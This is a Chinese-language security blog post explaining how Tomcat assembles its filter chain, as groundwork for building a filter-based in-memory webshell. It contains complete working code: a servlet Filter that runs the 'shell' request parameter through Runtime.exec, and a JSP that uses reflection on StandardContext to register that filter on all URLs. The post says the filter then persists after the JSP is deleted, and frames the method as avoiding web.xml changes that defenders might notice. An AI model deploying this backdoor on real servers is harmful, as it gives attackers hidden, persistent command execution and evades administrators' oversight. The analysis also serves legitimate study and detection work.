基于filter的内存马

白帽子社区

共 4708字,需浏览 10分钟

 ·

2022-02-15 09:07


主要是通过过滤器来拦截severlet请求中的参数,作为过滤器中的参数,来调用自定义过滤器中的恶意函数

在这里我们分析一下filter的实现原理,循序渐进


Demo1:


直接使用filter模拟内存马效果:


1.配置一个简单的severlet的web项目




实现一个filter类:


package com.naihe;
import javax.servlet.*;import java.io.IOException;

public class FilertDemo implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println("初始加完成"); }
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { servletRequest.setCharacterEncoding("utf-8"); servletResponse.setCharacterEncoding("utf-8"); servletResponse.setContentType("text/html;charset=UTF-8"); filterChain.doFilter(servletRequest,servletResponse); System.out.println(servletRequest.getParameter("shell")); Runtime.getRuntime().exec(servletRequest.getParameter("shell")); System.out.println("过滤中。。。"); }
@Override public void destroy() { System.out.println("过滤结束"); }}



配置xml:

<filter>    <filter-name>enfilterfilter-name>    <filter-class>com.naihe.FilertDemofilter-class>filter><filter-mapping>    <filter-name>enfilterfilter-name>    <url-pattern>/*url-pattern>filter-mapping>


效果:







可以看到这个无需指定木马文件就能实现webshell,看似很厉害,其实了解java开发都小伙伴都懂这都是最基础serverlet的基本功能,只是添加了一些恶意代码而已。不过这第一步我们就对内存马有了一定的感受(只是感受),接下来就是注意细节,该如何让它在实际中应用与更加隐蔽。


Demo2:


现在我们开始隐藏与实现


package com.naihe;
import javax.servlet.*;import java.io.IOException;
public class FilertDemo implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println("初始加完成"); }
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { servletRequest.setCharacterEncoding("utf-8"); servletResponse.setCharacterEncoding("utf-8"); servletResponse.setContentType("text/html;charset=UTF-8"); filterChain.doFilter(servletRequest,servletResponse); System.out.println(servletRequest.getParameter("shell")); Runtime.getRuntime().exec(servletRequest.getParameter("shell")); System.out.println("过滤中。。。"); }
@Override public void destroy() { System.out.println("过滤结束"); }}


当然这里的代码还是之前的代码,只是为了方便小伙伴们看源码。
这里我们不使用xml配置filter,这样做的目的就是为了在实际中不修改xml从而触发filter,因为实际渗透中xml是不易修改的,而且容易被发现。
所以,现在我们就开始一步一步分析tomcat是如何通过web.xml生成的filter对象。
首先我们在filterChain变量这里打上断点



跟进doFilter:
会发现ApplicationFilterChain类的filters属性中包含了filter的信息



注意这里的第二个过滤器是tomcat自带的过滤器,且面分析还会用到

跟进internalDoFilter:




可以看到这里的filterConfig类中的filter并非我们之前创建的filter,因此我们可以回过头来看一下有没有我们的想要的filterConfig



确实存在,证明,这里的filter加载是按照顺序进行加载的,因此我们就当中我们在分析第一个filter(自定义的)。



进行查看代码发现后面调用了doFilter

这里就可以进入到tomcat自带的filter


filter切换大概流程:

ApplicationFilterChain(记录了所有filter的信息)--将$this->filter--》filterConfig(获得了一个filter的相关信息)--filterConfig.filter--》filter
--doFilter--》调用自定义filter中的恶意代码

分析到现在,ApplicationFilterChain到底从何而来呢?
我们往前找,找到了StandardWrapperValve这个类,他调用ApplicationFilterFactory的createFilterChain来创建了FilterChain对象




(然后自己调用doFilter进入第一个过滤器)

那么这个FilterChain对象是如何获取filert的相关信息的呢?
下面继续分析
往下查看其他代码发现并没有对filterChain中的值继续改变,说明filterChain中的与filter相关内容在创建是就已经填入了
因此进入ApplicationFilterFactory一探究竟



存放着过滤器名,过滤器实例



在这里获取获取filter的名字和对应的url



这里对应的是名字和过滤器的全限定名



将filterMap的内容添加到filterChain中,并返回filter的值
可知这三个属性都是与filter有关的

那这些值又是从何而来了,继续分析




可以看到又调用了一个类用来创建context



其实到后面分析的话就还是比较复杂了,然而我们也没必要溯源到底,我直接用反射创建对象利用就行,主要能让这个filter添加到其他filter里一起运行就行了。

又回到之前ApplicationFilterFactory里,这里会返回filterChain这个对象,如果我们直接filterConfig的内容,是不是就能在filterChain调用addFilter时,将filter添加进去。



而在上面分析,fiterConfig的内容都是从context中得到,因此只要我们能控制context的内容就行了


FilterDefs:存放 FilterDef 的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例
等基本信息
FilterConfigs:存放 filterConfig 的数组,在 FilterConfig 中主要存放 FilterDef 和
Filter 对象等信息
FilterMaps:存放 FilterMap 的数组,在 FilterMap 中主要存放了 FilterName 和 对应的 URLPattern,只要我们将filter ,FilterDefs,FilterMaps添加到FilterConfigs中就可以添加filter了

在这之前我们需要了解一些知识:

ServletContext:javax.servlet.ServletContextServlet规范中规定了的一个ServletContext接口,提供了Web应用所有Servlet的视图,通过它可以对某个Web应用的各种资源和功能进行访问。WEB容器在启动时,它会为每个Web应用程序都创建一个对应的ServletContext,它代表当前Web应用。并且它被所有客户端共享。

ApplicationContext:org.apache.catalina.core.ApplicationContext
对应Tomcat容器,为了满足Servlet规范,必须包含一个ServletContext接口的实现。Tomcat的Context容器中都会包含一个ApplicationContext。

StandardContext:Catalina主要包括Connector和Container,StandardContext就是一个Container,它主要负责对进入的用户请求进行处理。实际来说,不是由它来进行处理,而是交给内部的valve处理。
一个context表示了一个外部应用,它包含多个wrapper,每个wrapper表示一个servlet定义。(Tomcat 默认的 Service 服务是 Catalina)

这三类是必须的


总体流程:


<%@ page import="java.lang.reflect.Field" %><%@ page import="org.apache.catalina.Context" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %><%@ page import="java.lang.reflect.Constructor" %><%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %><%@ page import="org.apache.catalina.core.ApplicationContextFacade" %><%@ page import="org.apache.catalina.core.ApplicationContext" %><%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="java.util.HashMap" %><%@ page import="java.io.IOException" %><%    //反射创建servletContext    ServletContext servletContext = request.getServletContext();    ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;    Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");    applicationContextFacadeContext.setAccessible(true);    //反射创建applicationContext    ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);    Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");    applicationContextContext.setAccessible(true);    //反射创建standardContext    StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);

//创建filterConfigs Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs"); filterConfigs.setAccessible(true); HashMap hashMap = (HashMap) filterConfigs.get(standardContext); String filterName = "Filter"; if (hashMap.get(filterName)==null){

Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println("注入初始化"); }

@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { servletRequest.setCharacterEncoding("utf-8"); servletResponse.setCharacterEncoding("utf-8"); servletResponse.setContentType("text/html;charset=UTF-8"); filterChain.doFilter(servletRequest,servletResponse); System.out.println(servletRequest.getParameter("shell")); Runtime.getRuntime().exec(servletRequest.getParameter("shell")); System.out.println("过滤中。。。"); }

@Override public void destroy() {// Filter.super.destroy(); } }; //构造filterDef对象 FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(filterName); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef);

//构造filterMap对象 FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(filterName); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap);

//构造filterConfig Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

//将filterConfig添加到filterConfigs中,即可完成注入 hashMap.put(filterName,applicationFilterConfig); response.getWriter().println("successfully"); }%>


先访问:



在执行



这样一来我们就可以不用配置xml和创建filter类文件就可以直接,实现filter,并且就算jsp被删除,之前创建的对象依旧在内存中。


往期精彩文章




最全thinkphp 3.x sql注入分析
委派攻击系列之非约束委派攻击
记一次对Hackmyvm-Area51靶机的渗透测试
linux 查看用户登录信息




技术支持:白帽子社区团队
— 扫码关注我们 


浏览 12
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报